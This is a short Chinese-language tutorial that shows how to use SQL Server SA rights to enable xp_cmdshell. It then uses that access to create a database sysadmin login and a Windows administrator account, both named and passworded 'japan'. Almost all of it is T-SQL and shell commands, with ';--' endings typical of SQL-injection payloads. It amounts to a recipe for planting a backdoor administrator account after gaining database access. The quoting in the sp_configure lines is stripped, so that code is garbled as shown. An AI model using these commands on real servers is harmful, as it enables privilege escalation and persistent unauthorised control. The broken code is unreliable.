通过SQL Server SA权限,可以实现许多的操作,下面为您介绍的是通过SQL Server SA权限创建系统用户的方法,希望对您学习SQL Server SA权限的使用能有所启迪 。
- --enabble xp_cmdshell
- EXEC sys.sp_configure Nshow advanced options, N1 RECONFIGURE WITH OVERRIDE
- go
- EXEC sys.sp_configure Nxp_cmdshell, N1
- go
- RECONFIGURE WITH OVERRIDE
- go
- EXEC sys.sp_configure Nshow advanced options, N0 RECONFIGURE WITH OVERRIDE
- go
-
- -- Unenable xp_cmdshell
- EXEC sys.sp_configure Nshow advanced options, N1 RECONFIGURE WITH OVERRIDE
- go
- EXEC sys.sp_configure Nxp_cmdshell, N0
- go
- RECONFIGURE WITH OVERRIDE
- go
- EXEC sys.sp_configure Nshow advanced options, N0 RECONFIGURE WITH OVERRIDE
- go
-
- -- 通过xp_cmdshell 创建操作系统用户, japan 是用户名及密码
- exec master.dbo.sp_addlogin japan;--
- exec master.dbo.sp_password null,japan,japan;--
- exec master.dbo.sp_addsrvrolemember japan,sysadmin;--
- exec master.dbo.xp_cmdshell net user japan japan /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
- exec master.dbo.xp_cmdshell net localgroup administrators japan /add;--
-
-